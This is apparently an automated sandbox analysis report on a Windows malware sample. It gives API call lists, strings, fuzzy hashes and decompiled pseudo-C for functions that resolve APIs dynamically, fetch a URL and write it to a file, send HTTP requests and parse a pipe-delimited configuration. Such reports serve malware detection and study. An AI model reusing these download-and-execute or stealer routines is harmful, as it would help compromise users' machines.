GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 0068C5FB
GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0068C614
GetProcAddress.KERNEL32(0041AA64,0041A6F0), ref: 0068C62C
GetProcAddress.KERNEL32(0041AA64,hX~), ref: 0068C644
GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0068C65D
GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0068C673
LoadLibraryA.KERNEL32(0041A0F8,?,00686DC2), ref: 0068C685
LoadLibraryA.KERNEL32(0041A658,?,00686DC2), ref: 0068C697
GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0068C6B8
GetProcAddress.KERNEL32(0041A934,0041A0B8), ref: 0068C6D9

Strings

HV~, xrefs: 0068C5A5, 0068C5AB
hX~, xrefs: 0068C637, 0068C63D

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HV~$hX~
API String ID: 2238633743-3673585842
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: fbfc1e278507f9508aea242c13fcc93b20d45d2e9a0bc8236a2697ab423feb42
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: 174174F5523200DFC344DFA8EE489E237BABB88251705CA39E50983671D63895A1CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00411520, Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00412A9A,?), ref: 00411528
StrCmpCA.SHLWAPI(?,00419340,?,00412A9A,?), ref: 00411575
StrCmpCA.SHLWAPI(?,.zip,?,00412A9A,?), ref: 0041158F
StrCmpCA.SHLWAPI(?,.zoo,?,00412A9A,?), ref: 004115A9

Strings

.lzh, xrefs: 004115CE
.zip, xrefs: 00411586
.arj, xrefs: 004115E5
.zoo, xrefs: 004115A0
.tgz, xrefs: 00411613
.arc, xrefs: 004115B7
.gz, xrefs: 004115FC

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d5930b3a33e29c7b2ebfdd29e75950525031afcffcbb0299905607ea0d7068d1
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: DD318479B04204FB8B00DFB0C9849FF77B6AE59740B248056F61697760D239DE81EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004049E0, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 141
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004049E0(void* __ecx, char* _a4, CHAR* _a8) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				void* _v20;
				struct _OVERLAPPED* _v24;
				void _v1052;
				long _v1060;
				void* _v1064;
				long _v1068;
				void _v1324;
				long _v1328;
				struct _OVERLAPPED* _v1332;
				void* _t43;
				long _t46;
				int _t55;
				int _t58;
				long _t61;
				long _t65;
				long _t75;

				_v24 = 0;
				_v16 = 0;
				_v1068 = 0x100;
				_t43 = InternetOpenA(0x41401a, 1, 0, 0, 0);
				_v1064 = _t43;
				if(_v1064 != 0) {
					_t46 =  *0x41aa4c(E00404970(__ecx, __eflags, _a4), "https");
					__eflags = _t46;
					if(_t46 == 0) {
						_v16 = 1;
					}
					_v1332 = 0;
					while(1) {
						__eflags = _v1332 - 6;
						if(_v1332 >= 6) {
							break;
						}
						__eflags = _v16;
						if(_v16 == 0) {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x100, 0);
						} else {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x800100, 0);
						}
						_t61 = HttpQueryInfoA(_v12, 0x13,  &_v1324,  &_v1068, 0);
						__eflags = _t61;
						if(_t61 == 0) {
							L14:
							_t75 =  &(_v1332->Internal);
							__eflags = _t75;
							_v1332 = _t75;
							continue;
						} else {
							_t65 =  *0x41aa4c( &_v1324, "200");
							__eflags = _t65;
							if(_t65 != 0) {
								Sleep(0x7530);
								goto L14;
							}
							break;
						}
					}
					_v20 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0);
					while(1) {
						__eflags = 1;
						if(1 == 0) {
							break;
						}
						_t55 = InternetReadFile(_v12,  &_v1052, 0x400,  &_v1060);
						__eflags = _t55;
						if(_t55 == 0) {
							L21:
							break;
						}
						__eflags = _v1060;
						if(_v1060 <= 0) {
							L22:
							_v8 = _v8 + _v1060;
							__eflags = _v1060 - 0x400;
							if(_v1060 >= 0x400) {
								continue;
							}
							break;
						}
						_t58 = WriteFile(_v20,  &_v1052, _v1060,  &_v1328, 0);
						__eflags = _t58;
						if(_t58 == 0) {
							goto L21;
						}
						__eflags = _v1060 - _v1328;
						if(_v1060 == _v1328) {
							goto L22;
						}
						goto L21;
					}
					E0040B720( &_v1052, 0x400);
					CloseHandle(_v20);
					InternetCloseHandle(_v12);
					return InternetCloseHandle(_v1064);
				}
				return _t43;
			}

0x004049e9
0x004049f0
0x004049f7
0x00404a0e
0x00404a14
0x00404a21
0x00404a3a
0x00404a40
0x00404a42
0x00404a44
0x00404a44
0x00404a4b
0x00404a66
0x00404a66
0x00404a6d
0x00000000
0x00000000
0x00404a73
0x00404a77
0x00404ab6
0x00404a79
0x00404a95
0x00404a95
0x00404acf
0x00404ad5
0x00404ad7
0x00404afc
0x00404a5d
0x00404a5d
0x00404a60
0x00000000
0x00404ad9
0x00404ae5
0x00404aeb
0x00404aed
0x00404af6
0x00000000
0x00404af6
0x00000000
0x00404aef
0x00404ad7
0x00404b1d
0x00404b20
0x00404b25
0x00404b27
0x00000000
0x00000000
0x00404b40
0x00404b46
0x00404b48
0x00404b86
0x00000000
0x00404b86
0x00404b4a
0x00404b51
0x00404b88
0x00404b91
0x00404b94
0x00404b9e
0x00000000
0x00404ba2
0x00000000
0x00404ba0
0x00404b6e
0x00404b74
0x00404b76
0x00000000
0x00000000
0x00404b7e
0x00404b84
0x00000000
0x00000000
0x00000000
0x00404b84
0x00404bb3
0x00404bbc
0x00404bc6
0x00000000
0x00404bd3
0x00000000

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E
StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
InternetCloseHandle.WININET(?), ref: 00404BC6
InternetCloseHandle.WININET(00000000), ref: 00404BD3

Strings

https, xrefs: 00404A28
200, xrefs: 00404AD9

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID: 200$https
API String ID: 1681390745-2945048398
Opcode ID: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction ID: fb624ede4d81cfb8019f53897a3e05eb4db491724901a2fa6b1ef0cdd0b3c389
Opcode Fuzzy Hash: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction Fuzzy Hash: 8F5141F1A40208ABDB10DB90DC45FEA77B8BB88715F1080A9F705B62C0D778AA80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 006853F0, Relevance: 24.2, APIs: 16, Instructions: 172networksleepfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0068541D
StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00685443
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0068547D
InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 006854A3
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 006854C8
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00685503
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00400100,00000000), ref: 0068552A
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00685577
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00685593
StrCmpCA.SHLWAPI(?,00418B8C), ref: 006855A9
Sleep.KERNEL32(00007530), ref: 006855C4
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006855EC
lstrcat.KERNEL32(?,00000000), ref: 00685628
InternetCloseHandle.WININET(00000000), ref: 00685634
InternetCloseHandle.WININET(00000000), ref: 00685641
InternetCloseHandle.WININET(00000000), ref: 0068564E

Part of subcall function 00684A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00684ACE
Part of subcall function 00684A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00684AF6

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcat
String ID:
API String ID: 381316015-0
Opcode ID: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction ID: ebb20b4a7eb469a958a68e72595cc3902e0b46245a36a88e235116d225f16163
Opcode Fuzzy Hash: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction Fuzzy Hash: 1A612F71A45359ABEB24DF50CC49FDD77B5BB08700F108599F20A6A2C0D7B46AC4CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00407900, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 105
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00407900(void* __ecx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				char _v5012;
				intOrPtr _v5016;
				CHAR* _t17;
				struct HINSTANCE__* _t21;
				CHAR* _t24;
				struct HINSTANCE__* _t26;
				CHAR* _t29;
				CHAR* _t42;
				CHAR* _t43;
				struct HINSTANCE__* _t44;
				CHAR* _t45;
				struct HINSTANCE__* _t46;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				CHAR* _t51;
				struct HINSTANCE__* _t52;
				CHAR* _t55;

				E004139B0(0x1394, __ecx);
				if(_a4 == 0) {
					return 0;
				}
				_v8 = 0xffff;
				_t17 =  *0x41a034; // 0x7fa108
				_v12 = GetEnvironmentVariableA(_t17, 0x41b488, 0xffff);
				if(0x41b488 != 0) {
					E0040B720( &_v5012, 0x1388);
					 *0x41aa24( &_v5012, 0x41b488);
					 *0x41aa24( &_v5012, ";");
					 *0x41aa24( &_v5012, _a4);
					_t55 =  *0x41a034; // 0x7fa108
					SetEnvironmentVariableA(_t55,  &_v5012);
					E0040B720( &_v5012, 0x1388);
				}
				_t42 =  *0x41a6cc; // 0x7e5828
				 *0x41a824 = LoadLibraryA(_t42);
				if( *0x41a824 != 0) {
					_t49 =  *0x41a2b0; // 0x7fac90
					_t21 =  *0x41a824; // 0x0
					 *0x41a81c = GetProcAddress(_t21, _t49);
					_t43 =  *0x41a628; // 0x7fad08
					_t50 =  *0x41a824; // 0x0
					 *0x41a840 = GetProcAddress(_t50, _t43);
					_t24 =  *0x41a1b4; // 0x7fb670
					_t44 =  *0x41a824; // 0x0
					 *0x41a7ec = GetProcAddress(_t44, _t24);
					_t51 =  *0x41a12c; // 0x7facf0
					_t26 =  *0x41a824; // 0x0
					 *0x41a814 = GetProcAddress(_t26, _t51);
					_t45 =  *0x41a7b4; // 0x7fb410
					_t52 =  *0x41a824; // 0x0
					 *0x41a828 = GetProcAddress(_t52, _t45);
					_t29 =  *0x41a358; // 0x7fad20
					_t46 =  *0x41a824; // 0x0
					 *0x41a80c = GetProcAddress(_t46, _t29);
				}
				if( *0x41a81c == 0 ||  *0x41a840 == 0 ||  *0x41a7ec == 0 ||  *0x41a828 == 0 ||  *0x41a80c == 0 ||  *0x41a814 == 0) {
					_v5016 = 0;
				} else {
					_v5016 = 1;
				}
				return _v5016;
			}

0x00407908
0x00407911
0x00000000
0x00407ab0
0x00407917
0x00407928
0x00407934
0x0040793e
0x0040794c
0x0040795d
0x0040796f
0x00407980
0x0040798d
0x00407994
0x004079a6
0x004079a6
0x004079ab
0x004079b8
0x004079c4
0x004079ca
0x004079d1
0x004079dd
0x004079e2
0x004079e9
0x004079f6
0x004079fb
0x00407a01
0x00407a0e
0x00407a13
0x00407a1a
0x00407a26
0x00407a2b
0x00407a32
0x00407a3f
0x00407a44
0x00407a4a
0x00407a57
0x00407a57
0x00407a63
0x00407a9e
0x00407a92
0x00407a92
0x00407a92
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(007FA108,0041B488,0000FFFF), ref: 0040792E
lstrcat.KERNEL32(?,0041B488), ref: 0040795D
lstrcat.KERNEL32(?,004191E8), ref: 0040796F
lstrcat.KERNEL32(?,00000000), ref: 00407980
SetEnvironmentVariableA.KERNEL32(007FA108,?), ref: 00407994
LoadLibraryA.KERNEL32(007E5828), ref: 004079B2
GetProcAddress.KERNEL32(00000000,007FAC90), ref: 004079D7
GetProcAddress.KERNEL32(00000000,007FAD08), ref: 004079F0
GetProcAddress.KERNEL32(00000000,007FB670), ref: 00407A08
GetProcAddress.KERNEL32(00000000,007FACF0), ref: 00407A20
GetProcAddress.KERNEL32(00000000,007FB410), ref: 00407A39
GetProcAddress.KERNEL32(00000000,007FAD20), ref: 00407A51

Strings

(X~, xrefs: 004079AB

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: (X~
API String ID: 570708976-213927213
Opcode ID: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction ID: 77b6c5c08cf9b7a4301e695bc4720b41c2074284124323e2e0bb79b02c60fe80
Opcode Fuzzy Hash: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction Fuzzy Hash: FD4120B5616200DFC714EFA4ED48AEA37F4A708305F14C57AF105926A1C77C96A2CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00687B50, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 105libraryloaderstringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0041A034,0041B488,0000FFFF), ref: 00687B7E
lstrcat.KERNEL32(?,0041B488), ref: 00687BAD
lstrcat.KERNEL32(?,004191E8), ref: 00687BBF
lstrcat.KERNEL32(?,00000000), ref: 00687BD0
SetEnvironmentVariableA.KERNEL32(0041A034,?), ref: 00687BE4
LoadLibraryA.KERNEL32((X~), ref: 00687C02
GetProcAddress.KERNEL32(0041A824,0041A2B0), ref: 00687C27
GetProcAddress.KERNEL32(0041A824,0041A628), ref: 00687C40
GetProcAddress.KERNEL32(0041A824,0041A1B4), ref: 00687C58
GetProcAddress.KERNEL32(0041A824,0041A12C), ref: 00687C70
GetProcAddress.KERNEL32(0041A824,0041A7B4), ref: 00687C89
GetProcAddress.KERNEL32(0041A824,0041A358), ref: 00687CA1

Strings

(X~, xrefs: 00687BFB, 00687C01

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: (X~
API String ID: 570708976-213927213
Opcode ID: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction ID: 0daadc9c1e23c87a044475bffb7602276d66d05746a24dc09016d32265273928
Opcode Fuzzy Hash: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction Fuzzy Hash: 06415CB5112204DFD714EFA8ED48AE537F9BB08304F14C57AF10583260C7799AA2CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

g@A, xrefs: 0040BD1C, 0040BE70, 0040BD1F, 0040BE73
image/jpeg, xrefs: 0040BDE3
g@A, xrefs: 0040BE4C, 0040BE4F

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID:
String ID: image/jpeg$g@A$g@A
API String ID: 0-1537867833
Opcode ID: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction ID: 94b623c1a3e4286d278b3a98d93620b6c1d28f1eb204197fa047bb13e3fbbd8a
Opcode Fuzzy Hash: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction Fuzzy Hash: 3251FAB5A11208AFCB04DBE4DC44FEEB7B9EF4C701F148929F605E6290D734A951CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004082E0, Relevance: 19.7, APIs: 13, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040830F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040835F
RtlAllocateHeap.NTDLL(00000000), ref: 00408366
lstrcat.KERNEL32(?,007FAEA0), ref: 004083E1

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00408425
lstrcat.KERNEL32(?,007FAE40), ref: 00408438
lstrcat.KERNEL32(?,?), ref: 0040844C
lstrcat.KERNEL32(?,007FB6F0), ref: 00408460
lstrcat.KERNEL32(?,?), ref: 00408474
lstrcat.KERNEL32(?,004191F0), ref: 00408486
lstrcat.KERNEL32(?,?), ref: 0040849A
lstrcat.KERNEL32(?,00418BC0), ref: 004084AC
lstrlen.KERNEL32(?), ref: 004084BE

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID:
API String ID: 2806430148-0
Opcode ID: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction ID: 59f89f9cc7d9a5e3f1725e4a0dc26015c1addf92b97e6f17d5df6be883cb31b8
Opcode Fuzzy Hash: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction Fuzzy Hash: 885168B1A00108ABCB14DFA4DD4AEDA77B8AF4C705F0085A4F709D3251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00688530, Relevance: 19.7, APIs: 13, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0068855F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006885AF
RtlAllocateHeap.NTDLL(00000000), ref: 006885B6
lstrcat.KERNEL32(?,0041A208), ref: 00688631

Part of subcall function 00687480: memset.MSVCRT ref: 006874D2
Part of subcall function 00687480: LocalAlloc.KERNEL32(00000040,?), ref: 00687521
Part of subcall function 00687480: lstrcat.KERNEL32(?,00000000), ref: 00687587

lstrcat.KERNEL32(?,00000000), ref: 00688675
lstrcat.KERNEL32(?,0041A488), ref: 00688688
lstrcat.KERNEL32(?,?), ref: 0068869C
lstrcat.KERNEL32(?,0041A158), ref: 006886B0
lstrcat.KERNEL32(?,?), ref: 006886C4
lstrcat.KERNEL32(?,004191F0), ref: 006886D6
lstrcat.KERNEL32(?,?), ref: 006886EA
lstrcat.KERNEL32(?,00418BC0), ref: 006886FC
lstrlen.KERNEL32(?), ref: 0068870E

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID:
API String ID: 2806430148-0
Opcode ID: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction ID: a8b1438be186e38335c1a2aeff65a23a6a77230473754af628af7720196ba4bf
Opcode Fuzzy Hash: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction Fuzzy Hash: 5F5163B1A00108ABCB14EFA4DD4AEDA77B9AF4C705F008594F70993251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00684C30, Relevance: 19.6, APIs: 13, Instructions: 141networkfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00684C5E
StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00684C8A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00684CDF
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00684D1F
StrCmpCA.SHLWAPI(?,00418B8C), ref: 00684D35
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00684D67
InternetReadFile.WININET(?,?,00000400,?), ref: 00684D90
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00684DBE
CloseHandle.KERNEL32(?,?,00000400), ref: 00684E0C
InternetCloseHandle.WININET(?), ref: 00684E16
InternetCloseHandle.WININET(00000000), ref: 00684E23

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID:
API String ID: 1681390745-0
Opcode ID: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction ID: eb2300544390bb1c7de3af655c6b3079d4ba2e050a7918ad040ff7c37f03053b
Opcode Fuzzy Hash: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction Fuzzy Hash: A85192B1A01319ABDB20DF50CC45FEE77B9BF48705F108199F205AA2C0DBB4AA80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406320, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00406320(void* __ecx, void* __eflags, intOrPtr _a4, char _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				char* _v5552;
				char _v5820;
				char* _v5824;
				char _v5828;
				char _v5832;
				signed int _v5836;
				char* _t74;
				intOrPtr _t79;
				void* _t99;
				void* _t100;

				E004139B0(0x16c8, __ecx);
				_v5552 = 1;
				E0040B720( &_v5548, 0x1388);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v5820, 0x104);
				E0040B720( &_v276, 0x104);
				E0040B720( &_v5832, 4);
				 *0x41aa24( &_v5548, _a4);
				_t74 = E0040C090( &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040662C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B720( &_v540, 0x104);
									_push(_v5824);
									_push( &_v540);
									 *0x41aa24();
								} else {
									_push("1");
									_push(_v5824);
									if( *0x41aa4c() == 0) {
										 *0x41aba4 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									_v544 = E0040B650(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41aba8 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B720( &_v5820, 0x104);
									_push(_v5824);
									__eax =  &_v5820;
									_push( &_v5820);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abac = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									E0040B720( &_v276, 0x104) = _v5824;
									_push(_v5824);
									__ecx =  &_v276;
									_push( &_v276);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abb0 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								_t51 =  &_a8; // 0x406751
								__eax =  *_t51;
								__ecx = _v12;
								__eax =  &_v5820;
								__ecx = _v544;
								__eax = E00406130(_v544, __eflags,  &_v540, _v544,  &_v5820,  &_v276, _v12,  *_t51, _v5832, _v5824);
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 = _v8 + 1;
					_t79 = E0040C090(0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B720( &_v5548, 0x1388);
			}

0x00406328
0x0040632d
0x00406343
0x00406354
0x00406365
0x00406376
0x00406384
0x00406394
0x004063ad
0x004063b2
0x004063b5
0x004063bb
0x004063c2
0x004063d2
0x004063e1
0x004063ee
0x004063fa
0x00000000
0x00406408
0x00406438
0x00406443
0x0040644a
0x0040644b
0x0040640a
0x0040640a
0x00406415
0x0040641e
0x00406420
0x00406420
0x0040642a
0x00000000
0x00000000
0x00406456
0x0040645d
0x00406490
0x0040645f
0x0040645f
0x00406464
0x0040646a
0x0040646b
0x00406471
0x00406473
0x00406475
0x00406475
0x0040647f
0x00000000
0x00000000
0x0040649b
0x004064a2
0x004064cb
0x004064d2
0x004064dd
0x004064de
0x004064e4
0x004064e5
0x004064a4
0x004064a4
0x004064a9
0x004064af
0x004064b0
0x004064b6
0x004064b8
0x004064ba
0x004064ba
0x004064c4
0x00000000
0x00000000
0x004064f0
0x004064f7
0x0040653d
0x00406543
0x00406544
0x0040654a
0x0040654b
0x004064f9
0x004064f9
0x004064fe
0x00406504
0x00406505
0x0040650b
0x0040650d
0x0040650f
0x0040650f
0x00406519
0x00406523
0x00406523
0x00000000
0x00000000
0x00406556
0x00406561
0x00406562
0x00406568
0x0040656a
0x00406575
0x0040656c
0x0040656c
0x0040656c
0x00000000
0x00000000
0x0040657e
0x00406583
0x00406589
0x0040658a
0x00406590
0x00406592
0x004065a0
0x00406594
0x00406594
0x00406594
0x00000000
0x00000000
0x004065ac
0x004065ba
0x004065ba
0x004065be
0x004065c9
0x004065d0
0x004065de
0x004065e6
0x00000000
0x00000000
0x004063fa
0x004065ed
0x004065f3
0x00406604
0x00406609
0x0040660c
0x0040660c
0x0040662b

APIs

lstrcat.KERNEL32(?,?), ref: 00406394
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406416
lstrcat.KERNEL32(?,00000000), ref: 0040644B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 0040646B
